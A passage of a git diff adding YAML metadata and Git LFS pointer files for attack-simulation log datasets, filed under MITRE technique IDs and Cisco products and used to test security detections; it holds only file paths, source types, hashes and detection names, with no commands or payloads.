/datasets/attack_techniques/T1649/atomic_red_team/4104_export_certificate-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: 4104_export_pfxcertificate + path: /datasets/attack_techniques/T1649/atomic_red_team/4104_export_pfxcertificate-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: backupdb_certutil_windows-sysmon + path: /datasets/attack_techniques/T1649/atomic_red_team/backupdb_certutil_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: capi2-operational + path: /datasets/attack_techniques/T1649/atomic_red_team/capi2-operational-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-CAPI2/Operational +- name: 4876_windows-security + path: /datasets/attack_techniques/T1649/atomic_red_team/4876_windows-security-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: export_certificate_windows-sysmon + path: /datasets/attack_techniques/T1649/atomic_red_team/export_certificate_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: export_pfxcertificate_windows-sysmon + path: /datasets/attack_techniques/T1649/atomic_red_team/export_pfxcertificate_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1649/atomic_red_team/backupdb_certutil_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/backupdb_certutil_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..e5b57f475 --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/backupdb_certutil_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b7f0e2e174b5be045cc20aeb41d3a136c5975ba31e975e2224d7311609d99657 +size 16335 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/capi2-operational-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/capi2-operational-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..1178e034a --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/capi2-operational-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:41601162d3b0115d2fe8cc4ad39dcf49a81620a634d2b9f6eff154c2e7c70e76 +size 19342 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/certificateservices-lifecycle-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/certificateservices-lifecycle-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..fe82a9885 --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/certificateservices-lifecycle-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8b5f6175f6727a3ac11736b54a0441611a25836cb716e5ff947de9c040974e97 +size 6485 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/certwrite_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/certwrite_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..5ee8bf1c3 --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/certwrite_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:be3794d86033231eae1ff50de0a3a0d02fdc831cfd54957fee4343b0e2759234 +size 55674 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/export_certificate_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/export_certificate_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..37b13d7fb --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/export_certificate_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a5f11a469ab62acb0c0b7a0ab21424c729980bc284667da13a0af44986b200e5 +size 6443 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/export_pfxcertificate_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/export_pfxcertificate_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..5ab3aea4d --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/export_pfxcertificate_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:16e515fa1f919d1e6d783dbbc1fff520b685de259646ea12497295bd5f1d7e77 +size 12624 diff --git a/datasets/attack_techniques/T1649/certify_abuse/T1649_certify_abuse.yml b/datasets/attack_techniques/T1649/certify_abuse/T1649_certify_abuse.yml new file mode 100644 index 000000000..e70a3de96 --- /dev/null +++ b/datasets/attack_techniques/T1649/certify_abuse/T1649_certify_abuse.yml @@ -0,0 +1,17 @@ +author: STRT +id: bda8f57e-f3f3-4c6b-b82f-fe1737c273c3 +date: '2026-07-11' +description: Curated attack data generated for detection Detect Certify Command Line + Arguments +environment: attack_range +directory: certify_abuse +mitre_technique: [] +datasets: +- name: certify_esc1_abuse_sysmon + path: /datasets/attack_techniques/T1649/certify_abuse/certify_esc1_abuse_sysmon-bda8f57e-f3f3-4c6b-b82f-fe1737c273c3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: certify_esc1_abuse_powershell + path: /datasets/attack_techniques/T1649/certify_abuse/certify_esc1_abuse_powershell-bda8f57e-f3f3-4c6b-b82f-fe1737c273c3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1649/certify_abuse/certify_esc1_abuse_powershell-bda8f57e-f3f3-4c6b-b82f-fe1737c273c3.log b/datasets/attack_techniques/T1649/certify_abuse/certify_esc1_abuse_powershell-bda8f57e-f3f3-4c6b-b82f-fe1737c273c3.log new file mode 100644 index 000000000..6bd6d1cf8 --- /dev/null +++ b/datasets/attack_techniques/T1649/certify_abuse/certify_esc1_abuse_powershell-bda8f57e-f3f3-4c6b-b82f-fe1737c273c3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6eb61e9380983ac3cbbdcd8a0e21d724035744f2a7a695d5177603325302be22 +size 2074 diff --git a/datasets/attack_techniques/T1649/certify_abuse/certify_esc1_abuse_sysmon-bda8f57e-f3f3-4c6b-b82f-fe1737c273c3.log b/datasets/attack_techniques/T1649/certify_abuse/certify_esc1_abuse_sysmon-bda8f57e-f3f3-4c6b-b82f-fe1737c273c3.log new file mode 100644 index 000000000..3da924bf5 --- /dev/null +++ b/datasets/attack_techniques/T1649/certify_abuse/certify_esc1_abuse_sysmon-bda8f57e-f3f3-4c6b-b82f-fe1737c273c3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a0ebaacb9fc0849e345ccbc1b7432c12516de2842fde8d53e066ecc726245cd2 +size 2894 diff --git a/datasets/attack_techniques/T1654/eventlog_enumeration/T1654_eventlog_enumeration.yml b/datasets/attack_techniques/T1654/eventlog_enumeration/T1654_eventlog_enumeration.yml new file mode 100644 index 000000000..7891f42b5 --- /dev/null +++ b/datasets/attack_techniques/T1654/eventlog_enumeration/T1654_eventlog_enumeration.yml @@ -0,0 +1,13 @@ +author: STRT +id: 92a680fb-c51a-477d-a2ae-c7b3f5dba138 +date: '2026-07-11' +description: Curated attack data generated for detection Windows EventLog Recon Activity + Using Log Query Utilities +environment: attack_range +directory: eventlog_enumeration +mitre_technique: [] +datasets: +- name: eventlog_enumeration + path: /datasets/attack_techniques/T1654/eventlog_enumeration/eventlog_enumeration-92a680fb-c51a-477d-a2ae-c7b3f5dba138.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1654/eventlog_enumeration/eventlog_enumeration-92a680fb-c51a-477d-a2ae-c7b3f5dba138.log b/datasets/attack_techniques/T1654/eventlog_enumeration/eventlog_enumeration-92a680fb-c51a-477d-a2ae-c7b3f5dba138.log new file mode 100644 index 000000000..5b985051d --- /dev/null +++ b/datasets/attack_techniques/T1654/eventlog_enumeration/eventlog_enumeration-92a680fb-c51a-477d-a2ae-c7b3f5dba138.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:80d2828c5c5ab973b0fbd7c2a17cd181b0e5d966f0feadef7093836bfed61220 +size 14655 diff --git a/datasets/attack_techniques/T1673/esxi_vm_discovery/T1673_esxi_vm_discovery.yml b/datasets/attack_techniques/T1673/esxi_vm_discovery/T1673_esxi_vm_discovery.yml new file mode 100644 index 000000000..85c1dbf7c --- /dev/null +++ b/datasets/attack_techniques/T1673/esxi_vm_discovery/T1673_esxi_vm_discovery.yml @@ -0,0 +1,12 @@ +author: STRT +id: 9126b4fe-fb4e-4173-b33a-cda21f438f14 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi VM Discovery +environment: attack_range +directory: esxi_vm_discovery +mitre_technique: [] +datasets: +- name: esxi_vm_discovery + path: /datasets/attack_techniques/T1673/esxi_vm_discovery/esxi_vm_discovery-9126b4fe-fb4e-4173-b33a-cda21f438f14.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1673/esxi_vm_discovery/esxi_vm_discovery-9126b4fe-fb4e-4173-b33a-cda21f438f14.log b/datasets/attack_techniques/T1673/esxi_vm_discovery/esxi_vm_discovery-9126b4fe-fb4e-4173-b33a-cda21f438f14.log new file mode 100644 index 000000000..b86c56341 --- /dev/null +++ b/datasets/attack_techniques/T1673/esxi_vm_discovery/esxi_vm_discovery-9126b4fe-fb4e-4173-b33a-cda21f438f14.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:705d28388d5789426d7bed7ab973b4967a2ead14905ece90d19a096db1b6afb7 +size 1743 diff --git a/datasets/attack_techniques/t1547.014/active_setup_stubpath/sysmon-b006a157-243d-40d0-bf30-466fcf7c9843.log b/datasets/attack_techniques/t1547.014/active_setup_stubpath/sysmon-b006a157-243d-40d0-bf30-466fcf7c9843.log new file mode 100644 index 000000000..0abf011b0 --- /dev/null +++ b/datasets/attack_techniques/t1547.014/active_setup_stubpath/sysmon-b006a157-243d-40d0-bf30-466fcf7c9843.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2acd92d02db69bae71bb90594a5868c0993c4f68ea72094efe8e23bac472ae38 +size 1098 diff --git a/datasets/attack_techniques/t1547.014/active_setup_stubpath/t1547.014_active_setup_stubpath.yml b/datasets/attack_techniques/t1547.014/active_setup_stubpath/t1547.014_active_setup_stubpath.yml new file mode 100644 index 000000000..a09c2645b --- /dev/null +++ b/datasets/attack_techniques/t1547.014/active_setup_stubpath/t1547.014_active_setup_stubpath.yml @@ -0,0 +1,12 @@ +author: STRT +id: b006a157-243d-40d0-bf30-466fcf7c9843 +date: '2026-07-10' +description: Curated attack data generated for detection Active Setup Registry Autostart +environment: attack_range +directory: active_setup_stubpath +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/t1547.014/active_setup_stubpath/sysmon-b006a157-243d-40d0-bf30-466fcf7c9843.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/t1592/host_info_dxdiag/sysmon-f96f4aef-7282-4291-bdca-00b7ef549252.log b/datasets/attack_techniques/t1592/host_info_dxdiag/sysmon-f96f4aef-7282-4291-bdca-00b7ef549252.log new file mode 100644 index 000000000..0a1e2d1db --- /dev/null +++ b/datasets/attack_techniques/t1592/host_info_dxdiag/sysmon-f96f4aef-7282-4291-bdca-00b7ef549252.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7e067bca817acb3ef337ab6f444e48a1fafe3a5a329aef5c88ffbc11ea1bff02 +size 1946 diff --git a/datasets/attack_techniques/t1592/host_info_dxdiag/t1592_host_info_dxdiag.yml b/datasets/attack_techniques/t1592/host_info_dxdiag/t1592_host_info_dxdiag.yml new file mode 100644 index 000000000..4c259dbed --- /dev/null +++ b/datasets/attack_techniques/t1592/host_info_dxdiag/t1592_host_info_dxdiag.yml @@ -0,0 +1,13 @@ +author: STRT +id: f96f4aef-7282-4291-bdca-00b7ef549252 +date: '2026-07-11' +description: Curated attack data generated for detection System Info Gathering Using + Dxdiag Application +environment: attack_range +directory: host_info_dxdiag +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/t1592/host_info_dxdiag/sysmon-f96f4aef-7282-4291-bdca-00b7ef549252.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/t1592/pwh_av_recon/t1592_pwh_av_recon.yml b/datasets/attack_techniques/t1592/pwh_av_recon/t1592_pwh_av_recon.yml new file mode 100644 index 000000000..333b85f29 --- /dev/null +++ b/datasets/attack_techniques/t1592/pwh_av_recon/t1592_pwh_av_recon.yml @@ -0,0 +1,13 @@ +author: STRT +id: ef1004c6-1544-4709-b07c-d63d203df4a1 +date: '2026-07-10' +description: Curated attack data generated for detection Recon AVProduct Through Pwh + or WMI +environment: attack_range +directory: pwh_av_recon +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/attack_techniques/t1592/pwh_av_recon/windows-powershell-xml-ef1004c6-1544-4709-b07c-d63d203df4a1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/t1592/pwh_av_recon/windows-powershell-xml-ef1004c6-1544-4709-b07c-d63d203df4a1.log b/datasets/attack_techniques/t1592/pwh_av_recon/windows-powershell-xml-ef1004c6-1544-4709-b07c-d63d203df4a1.log new file mode 100644 index 000000000..5ec6939ce --- /dev/null +++ b/datasets/attack_techniques/t1592/pwh_av_recon/windows-powershell-xml-ef1004c6-1544-4709-b07c-d63d203df4a1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:448923a7292f8017e35364a97a150d2a8a07939745de5df10c0552d0f264ae37 +size 4981 diff --git a/datasets/cisco_asa/generic/cisco_asa_generic.yml b/datasets/cisco_asa/generic/cisco_asa_generic.yml new file mode 100644 index 000000000..6829724a5 --- /dev/null +++ b/datasets/cisco_asa/generic/cisco_asa_generic.yml @@ -0,0 +1,12 @@ +author: STRT +id: 43d5d37d-be31-4aef-ab06-b4e513daecf9 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco ASA - AAA Policy Tampering +environment: attack_range +directory: generic +mitre_technique: [] +datasets: +- name: cisco_asa_generic_logs + path: /datasets/cisco_asa/generic/cisco_asa_generic_logs-43d5d37d-be31-4aef-ab06-b4e513daecf9.log + sourcetype: cisco:asa + source: not_applicable diff --git a/datasets/cisco_asa/generic/cisco_asa_generic_logs-43d5d37d-be31-4aef-ab06-b4e513daecf9.log b/datasets/cisco_asa/generic/cisco_asa_generic_logs-43d5d37d-be31-4aef-ab06-b4e513daecf9.log new file mode 100644 index 000000000..29e97f1ce --- /dev/null +++ b/datasets/cisco_asa/generic/cisco_asa_generic_logs-43d5d37d-be31-4aef-ab06-b4e513daecf9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1d5a10cb0540c4c2cddac6ad8935dcbcf3be6b4a7cdebe242ecc2a0caf8a3f02 +size 127 diff --git a/datasets/cisco_isovalent/cisco_isovalent-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log b/datasets/cisco_isovalent/cisco_isovalent-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log new file mode 100644 index 000000000..c58d96366 --- /dev/null +++ b/datasets/cisco_isovalent/cisco_isovalent-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:460fe8dd3d2411d33630bd636923237588c96dad96868dc79ead52585ce65769 +size 4274 diff --git a/datasets/cisco_isovalent/cisco_isovalent_process_exec_delayed_shell-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log b/datasets/cisco_isovalent/cisco_isovalent_process_exec_delayed_shell-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log new file mode 100644 index 000000000..7f111aceb --- /dev/null +++ b/datasets/cisco_isovalent/cisco_isovalent_process_exec_delayed_shell-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8280cbe177c133e8ea375034b9fc85cbf6d4518bf94c63ab040eeba3d0842b62 +size 9211 diff --git a/datasets/cisco_isovalent/datasets_cisco_isovalent.yml b/datasets/cisco_isovalent/datasets_cisco_isovalent.yml new file mode 100644 index 000000000..f706ba91c --- /dev/null +++ b/datasets/cisco_isovalent/datasets_cisco_isovalent.yml @@ -0,0 +1,21 @@ +author: STRT +id: e4b09032-22b5-4b37-a5ed-be0a64b84fb9 +date: '2026-07-10' +description: Curated attack data generated for detection Cisco Isovalent - Cron Job + Creation +environment: attack_range +directory: cisco_isovalent +mitre_technique: [] +datasets: +- name: cisco_isovalent + path: /datasets/cisco_isovalent/cisco_isovalent-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log + sourcetype: cisco:isovalent:processExec + source: not_applicable +- name: kprobe_spike + path: /datasets/cisco_isovalent/kprobe_spike-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log + sourcetype: cisco:isovalent + source: not_applicable +- name: cisco_isovalent_process_exec_delayed_shell + path: /datasets/cisco_isovalent/cisco_isovalent_process_exec_delayed_shell-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log + sourcetype: cisco:isovalent:processExec + source: not_applicable diff --git a/datasets/cisco_isovalent/kprobe_spike-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log b/datasets/cisco_isovalent/kprobe_spike-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log new file mode 100644 index 000000000..74a8ef51d --- /dev/null +++ b/datasets/cisco_isovalent/kprobe_spike-e4b09032-22b5-4b37-a5ed-be0a64b84fb9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4c57e96c7fd9ef373c6eae0e050c06629138b5016478dc1de2b8aeac75da7248 +size 40008 diff --git a/datasets/cisco_network_visibility_module/cisco_nvm_flowdata/cisco_network_visibility_module_cisco_nvm_flowdata.yml b/datasets/cisco_network_visibility_module/cisco_nvm_flowdata/cisco_network_visibility_module_cisco_nvm_flowdata.yml new file mode 100644 index 000000000..37e716832 --- /dev/null +++ b/datasets/cisco_network_visibility_module/cisco_nvm_flowdata/cisco_network_visibility_module_cisco_nvm_flowdata.yml @@ -0,0 +1,12 @@ +author: STRT +id: e9d3e1d3-0985-4161-aadc-ad6bbdd2dff9 +date: '2026-07-11' +description: Curated attack data generated for detection Attacker Tools On Endpoint +environment: attack_range +directory: cisco_nvm_flowdata +mitre_technique: [] +datasets: +- name: nvm_flowdata + path: /datasets/cisco_network_visibility_module/cisco_nvm_flowdata/nvm_flowdata-e9d3e1d3-0985-4161-aadc-ad6bbdd2dff9.log + sourcetype: cisco:nvm:flowdata + source: not_applicable diff --git a/datasets/cisco_network_visibility_module/cisco_nvm_flowdata/nvm_flowdata-e9d3e1d3-0985-4161-aadc-ad6bbdd2dff9.log b/datasets/cisco_network_visibility_module/cisco_nvm_flowdata/nvm_flowdata-e9d3e1d3-0985-4161-aadc-ad6bbdd2dff9.log new file mode 100644 index 000000000..61c005bb5 --- /dev/null +++ b/datasets/cisco_network_visibility_module/cisco_nvm_flowdata/nvm_flowdata-e9d3e1d3-0985-4161-aadc-ad6bbdd2dff9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:32a1a0f598f890f0b0bb49f178c077229c9c61573f2e7f0eaca7c9a6bd434a04 +size 4736 diff --git a/datasets/cisco_sd_wan/service_proxy_access/cisco_sd_wan_service_proxy_access.yml b/datasets/cisco_sd_wan/service_proxy_access/cisco_sd_wan_service_proxy_access.yml new file mode 100644 index 000000000..edab33a64 --- /dev/null +++ b/datasets/cisco_sd_wan/service_proxy_access/cisco_sd_wan_service_proxy_access.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8f4269aa-ea6d-48f2-928b-cbd33438887e +date: '2026-07-13' +description: Curated attack data generated for detection Cisco SD-WAN - Arbitrary + File Overwrite Exploitation Activity +environment: attack_range +directory: service_proxy_access +mitre_technique: [] +datasets: +- name: serviceproxy_access + path: /datasets/cisco_sd_wan/service_proxy_access/serviceproxy_access-8f4269aa-ea6d-48f2-928b-cbd33438887e.log + sourcetype: cisco:sdwan:access + source: /var/log/nms/containers/service-proxy/serviceproxy-access.log diff --git a/datasets/cisco_sd_wan/service_proxy_access/serviceproxy_access-8f4269aa-ea6d-48f2-928b-cbd33438887e.log b/datasets/cisco_sd_wan/service_proxy_access/serviceproxy_access-8f4269aa-ea6d-48f2-928b-cbd33438887e.log new file mode 100644 index 000000000..80b803dde --- /dev/null +++ b/datasets/cisco_sd_wan/service_proxy_access/serviceproxy_access-8f4269aa-ea6d-48f2-928b-cbd33438887e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:782914c46f01ad6857bd6d9b77e0281649c45884ffdc6f6df3199c7573919897 +size 623 diff --git a/datasets/cisco_sd_wan/vsyslog/cisco_sd_wan_vsyslog.yml b/datasets/cisco_sd_wan/vsyslog/cisco_sd_wan_vsyslog.yml new file mode 100644 index 000000000..e7e1b93f5 --- /dev/null +++ b/datasets/cisco_sd_wan/vsyslog/cisco_sd_wan_vsyslog.yml @@ -0,0 +1,13 @@ +author: STRT +id: ab04c549-7c82-4279-beda-34ce0d55cadc +date: '2026-07-13' +description: Curated attack data generated for detection Cisco SD-WAN - Low Frequency + Rogue Peer +environment: attack_range +directory: vsyslog +mitre_technique: [] +datasets: +- name: vsyslog + path: /datasets/cisco_sd_wan/vsyslog/vsyslog-ab04c549-7c82-4279-beda-34ce0d55cadc.log + sourcetype: cisco:sdwan:syslog + source: /var/log/vsyslog diff --git a/datasets/cisco_sd_wan/vsyslog/vsyslog-ab04c549-7c82-4279-beda-34ce0d55cadc.log b/datasets/cisco_sd_wan/vsyslog/vsyslog-ab04c549-7c82-4279-beda-34ce0d55cadc.log new file mode 100644 index 000000000..96811dc1f --- /dev/null +++ b/datasets/cisco_sd_wan/vsyslog/vsyslog-ab04c549-7c82-4279-beda-34ce0d55cadc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1f7674ed675d06edb0e16dfddc9d2279dfbfe0f53e6b0317d7f1e8fd0f27f3d6 +size 238 diff --git a/datasets/cisco_secure_access/dns/anonymizer_dns-3075da36-195a-4671-ae81-b2344a8d082a.log b/datasets/cisco_secure_access/dns/anonymizer_dns-3075da36-195a-4671-ae81-b2344a8d082a.log new file mode 100644 index 000000000..c550563ed --- /dev/null +++ b/datasets/cisco_secure_access/dns/anonymizer_dns-3075da36-195a-4671-ae81-b2344a8d082a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6bd32609d73f1421ab05be4ec54a3be9bf801de53beeb1cddee8bcb0930e148a +size 795 diff --git a/datasets/cisco_secure_access/dns/cisco_secure_access_dns.yml b/datasets/cisco_secure_access/dns/cisco_secure_access_dns.yml new file mode 100644 index 000000000..52c4eb8f3 --- /dev/null +++ b/datasets/cisco_secure_access/dns/cisco_secure_access_dns.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3075da36-195a-4671-ae81-b2344a8d082a +date: '2026-07-13' +description: Curated attack data generated for detection Cisco SA - Access to Anonymizer + Services +environment: attack_range +directory: dns +mitre_technique: [] +datasets: +- name: anonymizer_dns + path: /datasets/cisco_secure_access/dns/anonymizer_dns-3075da36-195a-4671-ae81-b2344a8d082a.log + sourcetype: cisco:cloud_security:dns + source: not_applicable diff --git a/datasets/cisco_secure_access/firewall/cisco_secure_access_firewall.yml b/datasets/cisco_secure_access/firewall/cisco_secure_access_firewall.yml new file mode 100644 index 000000000..af03fc3e1 --- /dev/null +++ b/datasets/cisco_secure_access/firewall/cisco_secure_access_firewall.yml @@ -0,0 +1,20 @@ +author: STRT +id: a4ae9694-3139-43da-a00b-34541866bffd +date: '2026-07-13' +description: Curated attack data generated for detection Detect Large ICMP Traffic +environment: attack_range +directory: firewall +mitre_technique: [] +datasets: +- name: large_icmp + path: /datasets/cisco_secure_access/firewall/large_icmp-a4ae9694-3139-43da-a00b-34541866bffd.log + sourcetype: cisco:cloud_security:firewall + source: cisco_cloud_security_addon +- name: ldap + path: /datasets/cisco_secure_access/firewall/ldap-a4ae9694-3139-43da-a00b-34541866bffd.log + sourcetype: cisco:cloud_security:firewall + source: cisco_cloud_security_addon +- name: smb + path: /datasets/cisco_secure_access/firewall/smb-a4ae9694-3139-43da-a00b-34541866bffd.log + sourcetype: cisco:cloud_security:firewall + source: cisco_cloud_security_addon diff --git a/datasets/cisco_secure_access/firewall/large_icmp-a4ae9694-3139-43da-a00b-34541866bffd.log b/datasets/cisco_secure_access/firewall/large_icmp-a4ae9694-3139-43da-a00b-34541866bffd.log new file mode 100644 index 000000000..ece48f82c --- /dev/null +++ b/datasets/cisco_secure_access/firewall/large_icmp-a4ae9694-3139-43da-a00b-34541866bffd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b7494c86cf3fad8ea5a8f37bb3d21b4d7c4aba694e1973f4f5a9207389786690 +size 428 diff --git a/datasets/cisco_secure_access/firewall/ldap-a4ae9694-3139-43da-a00b-34541866bffd.log b/datasets/cisco_secure_access/firewall/ldap-a4ae9694-3139-43da-a00b-34541866bffd.log new file mode 100644 index 000000000..730d7cfd5 --- /dev/null +++ b/datasets/cisco_secure_access/firewall/ldap-a4ae9694-3139-43da-a00b-34541866bffd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f9e158f55cfa4fc8ccb13f4ac43f969f2bd7acb6c28a1d30597a621f5f5a5a1e +size 428 diff --git a/datasets/cisco_secure_access/firewall/smb-a4ae9694-3139-43da-a00b-34541866bffd.log b/datasets/cisco_secure_access/firewall/smb-a4ae9694-3139-43da-a00b-34541866bffd.log new file mode 100644 index 000000000..fed144ab3 --- /dev/null +++ b/datasets/cisco_secure_access/firewall/smb-a4ae9694-3139-43da-a00b-34541866bffd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:63fdafa661f342f1869f7ea2d3ac1c95fd85533928f90af66a72b6d9b3be14f7 +size 879 diff --git a/datasets/cisco_secure_firewall_threat_defense/connection_event/cisco_secure_firewall_threat_defense_connection_event.yml b/datasets/cisco_secure_firewall_threat_defense/connection_event/cisco_secure_firewall_threat_defense_connection_event.yml new file mode 100644 index 000000000..80306e1ad --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/connection_event/cisco_secure_firewall_threat_defense_connection_event.yml @@ -0,0 +1,13 @@ +author: STRT +id: 58b9e64a-0024-44be-acae-cc0101eb671e +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Secure Firewall - Bits + Network Activity +environment: attack_range +directory: connection_event +mitre_technique: [] +datasets: +- name: connection_events + path: /datasets/cisco_secure_firewall_threat_defense/connection_event/connection_events-58b9e64a-0024-44be-acae-cc0101eb671e.log + sourcetype: cisco:sfw:estreamer + source: not_applicable diff --git a/datasets/cisco_secure_firewall_threat_defense/connection_event/connection_events-58b9e64a-0024-44be-acae-cc0101eb671e.log b/datasets/cisco_secure_firewall_threat_defense/connection_event/connection_events-58b9e64a-0024-44be-acae-cc0101eb671e.log new file mode 100644 index 000000000..49b8a4024 --- /dev/null +++ b/datasets/cisco_secure_firewall_threat_defense/connection_event/connection_events-58b9e64a-0024-44be-acae-cc0101eb671e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid 